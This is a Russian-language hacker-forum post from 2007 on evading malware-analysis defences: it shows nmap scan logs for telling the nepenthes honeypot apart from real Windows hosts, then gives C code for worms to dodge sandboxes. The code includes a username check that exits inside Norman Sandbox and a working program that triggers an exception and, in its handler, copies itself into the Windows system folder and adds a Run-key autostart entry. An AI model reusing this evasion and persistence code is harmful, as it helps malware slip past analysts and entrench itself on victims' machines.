Показать сообщение отдельно

  #3  
Старый 20.09.2007, 00:34
ShadOS
ы
Регистрация: 11.02.2007
Сообщений: 750
Провел на форуме:
1347723

Репутация: 1477


Отправить сообщение для ShadOS с помощью ICQ
По умолчанию

[Продолжаем разговор]

А сейчас я тебе расскажу как научиться обнаруживать nepenthes и как научить червя не попадаться в ограниченное окружение песочницы для личного досмотра с пристрастием, а потом скажу пару слов о липком ханейпоте labrea и как он может задержать вирусную эпидемию. Отсюда начинается то, что ты, возможно, не читал в журнале «Хакер» №099 за Март 2007. О том, как наши спецы из Hell Knights занимались реверсингом того самого бота из листинга и еще много чего вкусного, к сожалению, а может и к счастью писать не буду, т.к. Про это написал Cytech в Апрельском журнале за номером 100. Копия статьи будет, конечно, размещенна и на hellknights.void.ru.

[AntiAntidot]

Начнём с одного очень простого урока: nepenthes – ханейпот, используемый на *nix машинах, но эмулирующий уязвимости windows. Соответственно, задача непопасться в лапы nepenthes сводится к тривиальной задаче иногда нетривиального определению типа удалёной операционной системы. К сожалению, в разработчиках вредоностного ПО я пока не состою, посему конкретных рекомендация по реализации давать не буду – фантазии тебе и так должно хватить, ведь не тянуть же за собой целый сканер вроде nmap, хотя тоже чем чёрт не шутит. Ниже для примера привожу логи сканирования nmap 4.20 – из них станет практически всё ясно:


Листинг 6

shados-ws shados # nmap -sS -sV -O 172.22.1.27 172.22.1.6 172.22.1.11

Starting Nmap 4.20 ( http://insecure.org ) at 2007-02-01 16:00 MSK
Warning: OS detection for 172.22.1.27 will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port
Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port
Interesting ports on host1 (172.22.1.27):
Not shown: 1672 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp
25/tcp open smtp?
42/tcp open nameserver?
80/tcp open http?
110/tcp open pop3?
135/tcp open msrpc?
139/tcp open netbios-ssn?
143/tcp open imap?
220/tcp open imap3?
443/tcp open https?
445/tcp open microsoft-ds?
465/tcp open smtps?
993/tcp open imaps?
995/tcp open pop3s?
1023/tcp open netvenuechat?
1025/tcp open NFS-or-IIS?
2105/tcp open eklogin?
3372/tcp open msdtc?
5000/tcp open UPnP?
10000/tcp open snet-sensor-mgmt?
17300/tcp open kuang2?
4 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port21-TCP:V=4.20%I=7%D=2/1%Time=45C1E4D2%P=i586-pc-linux-gnu%r(NULL,27
SF:,"220\x20---freeFTPd\x201\.0---warFTPd\x201\.65---\r\n")%r(GenericLines
SF:,5D,"220\x20---freeFTPd\x201\.0---warFTPd\x201\.65---\r\n530\x20You\x20
SF:are\x20not\x20logged\x20in\r\n530\x20You\x20are \x20not\x20logged\x20in\
SF:r\n")%r(Help,42,"220\x20---freeFTPd\x201\.0---warFTPd\x201\.65---\r\n53
SF:0\x20You\x20are\x20not\x20logged\x20in\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port139-TCP:V=4.20%I=7%D=2/1%Time=45C1E4D4%P=i586-pc-linux-gnu%r(GetReq
SF:uest,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0")%
SF:r(SMBProgNeg,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0")%r(GenericLines,40,"\x82\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0")%r(HTTPOptions,40,"\x82\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0")%r(RTSPRequest,40,"\x 82\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(RPCCheck, 40,"\x82\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(DNS VersionBindReq,40,"\x82\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0")%r(DNSStatusReq
SF:uest,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0")%
SF:r(Help,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0"
SF:)%r(SSLSessionReq,40,"\x82\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0")%r(X11Probe,40,"\x82\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0")%r(FourOhFourRequest,40,"\x82 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(LPDString,4 0,"\x82\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(LDAP BindReq,40,"\x82\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 ");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2105-TCP:V=4.20%I=7%D=2/1%Time=45C1E545%P=i586-pc-linux-gnu%r(DNSVe
SF:rsionBindReq,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0")%r(GenericLines,40,"\x82\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0")%r(GetRequest,40,"\x82\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0")%r(HTTPOptions,40,"\x8 2\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(RTSPReques t,40,"\x82\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(R PCCheck,40,"\x82\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 ")%r(DNSStatusRequest,40
SF:,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0")%r(Help,
SF:40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0")%r(SSL
SF:SessionReq,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0")%r(SMBProgNeg,40,"\x82\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0")%r(X11Probe,40,"\x82\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0")%r(FourOhFourRequest,40,"\x8 2\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(LPDString, 40,"\x82\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(LDA PBindReq,40,"\x82\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ 0");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port17300-TCP:V=4.20%I=7%D=2/1%Time=45C1E549%P=i586-pc-linux-gnu%r(NULL
SF:,C,"YOK2\0\0\0\0foo\x20")%r(GenericLines,C,"YOK 2\0\0\0\0foo\x20")%r(Get
SF:Request,C,"YOK2\0\0\0\0foo\x20")%r(HTTPOptions, C,"YOK2\0\0\0\0foo\x20")
SF:%r(RTSPRequest,C,"YOK2\0\0\0\0foo\x20")%r(RPCCh eck,C,"YOK2\0\0\0\0foo\x
SF:20")%r(DNSVersionBindReq,C,"YOK2\0\0\0\0foo\x20 ")%r(DNSStatusRequest,C,
SF:"YOK2\0\0\0\0foo\x20")%r(Help,C,"YOK2\0\0\0\0fo o\x20")%r(SSLSessionReq,
SF:C,"YOK2\0\0\0\0foo\x20")%r(X11Probe,C,"YOK2\0\0 \0\0foo\x20")%r(FourOhFo
SF:urRequest,C,"YOK2\0\0\0\0foo\x20")%r(LPDString, C,"YOK2\0\0\0\0foo\x20")
SF:%r(LDAPBindReq,C,"YOK2\0\0\0\0foo\x20")%r(LANDe sk-RC,C,"YOK2\0\0\0\0foo
SF:\x20")%r(TerminalServer,C,"YOK2\0\0\0\0foo\x20" )%r(NCP,C,"YOK2\0\0\0\0f
SF:oo\x20")%r(NotesRPC,C,"YOK2\0\0\0\0foo\x20")%r( NessusTPv10,C,"YOK2\0\0\
SF:0\0foo\x20")%r(oracle-tns,C,"YOK2\0\0\0\0foo\x20");
MAC Address: 00:02:B3:B2:E5:9D (Intel)
Device type: specialized|WAP|printer|general purpose|storage-misc|broadband router
Running (JUST GUESSING) : Linux 2.6.X|2.4.X (95%), Siemens linux (92%), Xerox embedded (90%), Linksys Linux 2.4.X (89%), Asus Linux 2.4.X (89%), Maxtor Linux 2.4.X (89%), Atmel Linux 2.6.X (88%), Netgear embedded (87%)
Aggressive OS guesses: Linux 2.6.12 on FOX embedded development board (95%), Siemens Gigaset SE515dsl wireless broadband router (92%), Xerox WorkCentre Pro 265 multifunction printer (90%), Linux 2.4.20 - 2.4.32, Linux-based embedded device (Linksys WRT54GL WAP, Buffalo AirStation WLA-G54 WAP, Maxtor Shared Storage Drive, or Asus Wireless Storage Router) (89%), Linux 2.6.11 - 2.6.15 (Ubuntu or Debian) (89%), Linux 2.6.18-gentoo-r1 (x86) (89%), Linux 2.4.22 (Fedora Core 1, x86) (88%), Atmel AVR32 STK1000 development board (runs Linux 2.6.16.11) (88%), Linux 2.4.33 (87%), Netgear DG834 or DG834G (wireless) DSL Router (87%)
No exact OS matches for host (test conditions non-ideal).
Uptime: 2.218 days (since Tue Jan 30 10:52:07 2007)
Network Distance: 1 hop
Service Info: Host: ---freeFTPd

Interesting ports on 172.22.1.6:
Not shown: 1692 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
990/tcp open ftps?
4899/tcp open tcpwrapped
MAC Address: 00:11:D8:1F:ED:9F (Asustek Computer)
No exact OS matches for host (If you know what OS is running on it, see http://insecure.org/nmap/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=4.20%D=2/1%OT=135%CT=1%CU=35967%PV=Y%DS=1%G=Y%M=0011D8%TM=4 5C1E5C
OS:9%P=i586-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=0)O PS(O
OS:1=M5B4NW0NNT00NNS%O2=M5B4NW0NNT00NNS%O3=M5B4NW0 NNT00%O4=M5B4NW0NNT00NNS%
OS:O5=M5B4NW0NNT00NNS%O6=M5B4NNT00NNS)WIN(W1=FFFF% W2=FFFF%W3=FFFF%W4=FFFF%W
OS:5=FFFF%W6=FFFF)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4N W0NNS%CC=N%Q=)T1(R=Y%DF=Y
OS:%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=N%T=80%W= 0%S=Z%A=S%F=AR%O=%RD=0%Q=
OS:)T3(R=Y%DF=Y%T=80%W=FFFF%S=O%A=S+%F=AS%O=M5B4NW 0NNT00NNS%RD=0%Q=)T4(R=Y%
OS:DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF= N%T=80%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=% RD=0%Q=)T7(R=Y%DF=N%T=80%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%T O

S=0%IPL=B0%UN=0%RIPL=G%R
OS:ID=G%RIPCK=G%RUCK=G%RUL=G%RUD=G)IE(R=Y%DFI=S%T= 80%TOSI=Z%CD=Z%SI=S%DLI=S
OS:)

Network Distance: 1 hop
Service Info: OS: Windows

Interesting ports on 172.22.1.11:
Not shown: 1693 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1110/tcp open tcpwrapped
MAC Address: 00:04:61:7D:3F:AA (Epox Computer Co.)
No exact OS matches for host (If you know what OS is running on it, see http://insecure.org/nmap/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=4.20%D=2/2%OT=135%CT=1%CU=40556%PV=Y%DS=1%G=Y%M=000461%TM=4 5C3675
OS:4%P=i586-pc-linux-gnu)SEQ(SP=83%GCD=1%ISR=9B%TI=I%II=I%SS=S%TS=0)SEQ (SP=
OS:85%GCD=1%ISR=9B%TI=I%II=I%SS=S%TS=0)SEQ(SP=7F%G CD=1%ISR=9B%TI=I%II=I%SS=
OS:S%TS=0)SEQ(SP=7E%GCD=1%ISR=9A%TI=I%II=I%SS=S%TS =0)SEQ(SP=74%GCD=1%ISR=9C
OS:%TI=I%II=I%SS=S%TS=0)OPS(O1=M5B4NW0NNT00NNS%O2= M5B4NW0NNT00NNS%O3=M5B4NW
OS:0NNT00%O4=M5B4NW0NNT00NNS%O5=M5B4NW0NNT00NNS%O6 =M5B4NNT00NNS)WIN(W1=FAF0
OS:%W2=FAF0%W3=FAF0%W4=FAF0%W5=FAF0%W6=FAF0)ECN(R= Y%DF=Y%T=80%W=FAF0%O=M5B4
OS:NW0NNS%CC=N%Q=U)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS% RD=0%Q=)T2(R=Y%DF=N%T=80%
OS:W=0%S=Z%A=S%F=AR%O=%RD=0%Q=U)T3(R=Y%DF=Y%T=80%W =FAF0%S=O%A=S+%F=AS%O=M5B
OS:4NW0NNT00NNS%RD=0%Q=U)T4(R=Y%DF=N%T=80%W=0%S=A% A=O%F=R%O=%RD=0%Q=)T5(R=Y
OS:%DF=N%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y% DF=N%T=80%W=0%S=A%A=O%F=R
OS:%O=%RD=0%Q=)T7(R=Y%DF=N%T=80%W=0%S=Z%A=S+%F=AR% O=%RD=0%Q=)U1(R=Y%DF=N%T=
OS:80%TOS=0%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK= G%RUL=G%RUD=G)IE(R=Y%DFI=
OS:S%T=80%TOSI=S%CD=Z%SI=S%DLI=S)


Network Distance: 1 hop
Service Info: OS: Windows

OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap finished: 3 IP addresses (3 hosts up) scanned in 359.942 secondss

И что же мы наблюдаем в листинге 6? 172.22.1.27 – слишком много сервисов, причём слишком много из них неопределённых. Надеюсь, те данные, которые я отправил разработчикам nmap зачтутся, и nepenthes не уйдёт от зоркого глаза сканера в дальнейшем, а пока что... Конечно, ситуация парниковая. Т.к. По большому счёту нет необходимости в эмулящии такого количества сервисов и часть из них можно убрать, закоментировав соответствующие строки в конфигурационном файле. Это позволит не привлекать к себе особого внимания. Кроме того, мы не видим ни одного родного сервиса Linux, чем в данном случае и является тачка, хотя в реальных условиях промелькнуть родной порт может, выдав систему с головой. Ну а что касается двух последующих адресов (172.22.1.6 172.22.1.11), это настоящие Windows-тачки. 2000 SP4 и XP SP1 соответственно. Чуешь разницу? Примерно таким же образом можно использовать для анализа hping или amap от группы THC. Конечно, можно попробовать заняться анализом TCP/IP вручную, и, например, определять tcp sequenсe, но не будем останавливаться на этом, т.к. тема достойна отдельной статьи (врочем, в сети информации полно, как и полно её в мануале к hping2 =)).

А теперь предположим следующее – наш зловред всё-таки залетел в nepenthes и вот вот будет в песочнице. Что тут делать? Решение тоже будет очень простым, хотя, конечно, от анализа в CWSandbox, может и не спасти, а тем более от анализа антирирусным экспертом типа дяди Жени или попроще. Способ очень прост и был предложен DiA/RRLF (www.vx-dia.de.vu :: DiA_hates_machine@gmx.de). Суть его заключается в том, что имя пользователя, под которым запущен sandbox всегда CurrentUser, соответственно, мы проверяем под каким пользователем будет запущенна наша зверушка и в случае подвоха просто завершаем процесс, в противном случае выполняем всю темную работу:

Листинг 7

void AntiNormanSandbox()
{
char Username[64];
unsigned long UsernameSize = sizeof(Username);
GetUserName(Username, &UsernameSize);
if(lstrcmp(Username, "CurrentUser") == 0) ExitProcess(0);
}

Конечно, способ не универсальный, но наводит на размышления. Однако, если разработчики исправят это он уже идёт лесом.
Теперь посмотрим что придумал наш (Hell Knights Crew) гуру malware-разработок Cr4sh.
Оказывается, Norman Sandbox, совершенно не умеет эмулировать исключения и их обработку. Для демонстрации этого, пишем простенькую програмку:

Листинг 8

#pragma comment(linker,"/ENTRY:WinMain")
#include <windows.h>


void EvilFunc(void)
{
char sys_dir[MAX_PATH], module[MAX_PATH];
GetSystemDirectory(sys_dir, MAX_PATH);
GetModuleFileName(GetModuleHandle(NULL), module, MAX_PATH);

strcat(sys_dir, "\\evil.exe");
CopyFile(module, sys_dir, FALSE);
HKEY hk;

if (RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run ", &hk) == ERROR_SUCCESS)
{
RegSetValueEx(hk, "hellknightsrulezz", 0, REG_SZ, (LPBYTE)sys_dir, strlen(sys_dir)+1);
RegCloseKey(hk);
}

}


int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)

{
__try
{
PDWORD shit = 0;
*shit = 0xdeadbabe;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
EvilFunc();
}
return 0;
}

Как видим, она вызывает исключение, а в его обработчике копирует наш бинарник в системную папку и добавляет его в атозапуск, при этом песочница будет нема как рыба. Конечно, способов может быть масса, однако на каждую дырку в жопе найдётся конец в виде штопора. Это я к тому что везде надо быть up2date.
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....